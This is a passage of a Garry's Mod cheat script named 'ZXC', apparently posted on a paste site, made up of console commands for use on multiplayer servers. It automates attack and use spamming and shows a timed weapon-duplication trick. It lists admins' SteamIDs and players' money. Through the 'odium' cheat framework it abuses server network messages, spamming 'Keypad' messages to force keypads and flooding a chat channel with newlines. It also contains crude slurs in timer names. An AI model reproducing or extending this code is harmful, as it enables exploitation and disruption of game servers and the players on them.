  1407. hook.Add("Think","wow", function() for k, v in pairs(player.GetAll()) do
  1408. if (v:GetModel():find("models/error.mdl")) then
  1409. v:SetModel("models/player/group01/male_02.mdl")
  1410. print(v:Nick() .. " model reset due to models/error.mdl")
  1411. end
  1412. end
  1413. end)
  1414. end )
  1415.  
  1416. function ZXC.Vape()
  1417. timer.Simple(0, function() RunConsoleCommand("+attack") end )
  1418. timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
  1419. end
  1420. concommand.Add("zxc_vape", ZXC.Vape)
  1421.  
  1422. function ZXC.AntiAFK()
  1423. timer.Simple(0, function() RunConsoleCommand("+forward") end )
  1424. timer.Simple(2.5, function() RunConsoleCommand("-forward") end )
  1425. timer.Simple(2.52, function() RunConsoleCommand("+back") end )
  1426. timer.Simple(5.02, function() RunConsoleCommand("-back") end )
  1427. end
  1428.  
  1429. local afk = false
  1430. concommand.Add( "zxc_antiafk", function()
  1431. afk = !afk
  1432. ZXC.AntiAFK()
  1433. if( afk ) then
  1434. timer.Create( "afk", 20, 0, function()
  1435. ZXC.AntiAFK()
  1436. end ) else
  1437. timer.Destroy( "afk" )
  1438. end
  1439. end )
  1440.  
  1441. local spamattack = false
  1442. concommand.Add( "zxc_spamattack", function()
  1443. spamattack = !spamattack
  1444. if( spamattack ) then
  1445. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Attack Spam ", Color(0,255,0), "enabled\n")
  1446. timer.Create( "SpamDatAttack", 0.042, 0, function()
  1447. timer.Simple(0, function() RunConsoleCommand("+attack") end )
  1448. timer.Simple(0.04, function() RunConsoleCommand("-attack") end )
  1449. end )
  1450. else
  1451. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Attack Spam ", Color(255,0,0), "disabled\n")
  1452. timer.Destroy( "SpamDatAttack" )
  1453. end
  1454. end )
  1455.  
  1456. local spamuse = false
  1457. concommand.Add( "zxc_spamuse", function()
  1458. spamuse = !spamuse
  1459. if( spamuse ) then
  1460. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Use Spam ", Color(0,255,0), "enabled\n")
  1461. timer.Create("SpamDatUse", 0.1, 0, function()
  1462. timer.Simple(0.01, function() RunConsoleCommand("+use") end )
  1463. timer.Simple(0.07, function() RunConsoleCommand("-use") end )
  1464. end )
  1465. else
  1466. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Use Spam ", Color(255,0,0), "disabled\n")
  1467. timer.Destroy("SpamDatUse")
  1468. end
  1469. end )
  1470.  
  1471. concommand.Add("zxc_dupeweapon", function()
  1472. timer.Simple( 0.4744, function()
  1473. RunConsoleCommand("say", "/drop")
  1474. end)
  1475. timer.Simple( 1.4135, function()
  1476. RunConsoleCommand("say", "/sleep")
  1477. end)
  1478. timer.Simple( 7, function()
  1479. RunConsoleCommand("say", "/sleep")
  1480. end)
  1481. end)
  1482.  
  1483. concommand.Add("zxc_sitclimb", function()
  1484. timer.Simple( 0, function()
  1485. RunConsoleCommand("+reload")
  1486. end)
  1487. timer.Simple( 0.03, function()
  1488. RunConsoleCommand("sit")
  1489. RunConsoleCommand("-reload")
  1490. end)
  1491. end)
  1492.  
  1493. concommand.Add("ace_printmoney", function()
  1494. chat.AddText(Color(197,200,255),"-----------------------------------------")
  1495. for k,v in pairs(player.GetAll()) do
  1496. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(0,215,0),v:Nick(), Color(255,255,255), " (", Color(255,255,255), v:GetUserGroup(),Color(255,255,255), ")", Color(255,255,255), " has ", Color(255,215,0),DarkRP.formatMoney(v:getDarkRPVar("money")))
  1497. end
  1498. chat.AddText(Color(197,200,255),"-----------------------------------------")
  1499. end )
  1500.  
  1501. concommand.Add("zxc_pk_changeteam", function()
  1502. timer.Create("hehe", 0.05, 100, function()
  1503. timer.Simple(0.01, function() RunConsoleCommand("pk_team", "1") end )
  1504. timer.Simple(0.02, function() RunConsoleCommand("pk_team", "2") end )
  1505. timer.Simple(0.03, function() RunConsoleCommand("pk_team", "0") end )
  1506. end )
  1507. end )
  1508.  
  1509. concommand.Add("zxc_printadmins", function()
  1510. chat.AddText(Color(197,200,255),"-----------------------------------------------------------------------------")
  1511. for k,v in pairs(player.GetAll()) do
  1512. if v:IsAdmin() then
  1513. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(0,215,0),v:Nick(), Color(255,255,255), " (", Color(255,255,255), v:SteamID(),Color(255,255,255), ")", Color(255,255,255), " is ", Color(255,215,0), "Admin", Color(255,255,255), " or above.", Color(255,255,255), " (", Color(0,255,0), v:GetNWString("UserGroup"),Color(255,255,255),")")
  1514. end
  1515. end
  1516. chat.AddText(Color(197,200,255),"-----------------------------------------------------------------------------")
  1517. end )
  1518.  
  1519. concommand.Add("zxc_webcontent", function(ply,cmd,arg)
  1520. http.Fetch('http://'..arg[1],function(b) file.Write(arg[2]..".txt", (b)) end,nil)
  1521. end)
  1522.  
  1523. concommand.Add("zxc_printowner", function()
  1524. local yellow = Color(255,255,0)
  1525. local white = Color(255,255,255)
  1526. local green = Color(0,255,0)
  1527. local red = Color(255,0,0)
  1528. local lookingat = LocalPlayer():GetEyeTrace().Entity
  1529.  
  1530. if (FPP or IcefusePP) then
  1531. if (lookingat:CPPIGetOwner() == nil) then
  1532. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",red,lookingat,white,Color(255,255,255)," (",yellow,lookingat:GetModel(),white,")",white, " is a world prop.")
  1533. else
  1534. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",red,lookingat,white,Color(255,255,255)," (",yellow,lookingat:GetModel(),white,")",white, " is owned by ",green,lookingat:CPPIGetOwner():Nick(), Color(255,255,255), ".")
  1535. end
  1536. else
  1537. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",red,lookingat,white,Color(255,255,255)," (",yellow,lookingat:GetModel(),white,")",white, " is owned by ",green,lookingat:GetOwner(), Color(255,255,255), ".")
  1538. end
  1539. end )
  1540.  
  1541. concommand.Add("zxc_clearrcon", clearrcon)
  1542. concommand.Add("zxc_clearchat", clearchat)
  1543.  
  1544. ZXC.LoadShit()
  1545. MsgC( Color( 0, 255, 0 ), "==========>----- ZXC Initialized -----<==========\n" )
  1546.  
  1547.  
  1548. local timers = {
  1549. "kekeke",
  1550. "wowthisisgay",
  1551. "fuckinggay",
  1552. "zxc_fuckuposeidon",
  1553. "zxc_ripchatbox",
  1554. "wowursogay",
  1555. "fuckingrekt",
  1556. "spok",
  1557. "sks",
  1558. "cps",
  1559. "zxc_ripchatbox",
  1560. }
  1561.  
  1562. concommand.Add("zxc_stoptimers", function()
  1563. for k, v in pairs(timers) do
  1564. if timer.Exists(v) then
  1565. timer.Remove(v)
  1566. end
  1567. end
  1568. end)
  1569.  
  1570.  
  1571.  
  1572.  
  1573.  
  1574.  
  1575. // testing shit below
  1576.  
  1577.  
  1578. function TST2()
  1579. return false
  1580. end
  1581.  
  1582. local tst2 = false
  1583. concommand.Add( "zxc_testspam", function()
  1584. tst2 = !tst2
  1585. if( tst2 ) then
  1586. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"TEST Spam ", Color(0,255,0), "enabled\n")
  1587. timer.Create( "tst2", 4, 0, TST2)
  1588. else
  1589. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"TEST Spam ", Color(255,0,0), "disabled\n")
  1590. timer.Destroy( "tst2" )
  1591. end
  1592. end )
  1593.  
  1594.  
  1595.  
  1596.  
  1597.  
  1598. concommand.Add("zxc_test", function()
  1599. for k, v in pairs(ents.GetAll()) do
  1600. if (v:GetPos():Distance( LocalPlayer():GetPos() ) <= 135 ) then
  1601. for i = 0, 250 do odium.G.net.Start("Keypad") net.WriteEntity(v) odium.G.net.WriteUInt(3, 4) odium.G.net.SendToServer() end
  1602. end
  1603. end
  1604. end )
  1605.  
  1606. concommand.Add("zxc_test2", function()
  1607. return false
  1608. end )
  1609.  
  1610. concommand.Add("zxc_test3", function()
  1611. return false
  1612. end )
  1613.  
  1614. concommand.Add("zxc_test4", function()
  1615. local str = ""
  1616. for i=0, 150 do
  1617. str = str .. "\n"
  1618. end
  1619. odium.G.net.Start("atlaschat.chat")
  1620. odium.G.net.WriteString("/ooc " .. str)
  1621. odium.G.net.SendToServer()
  1622. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement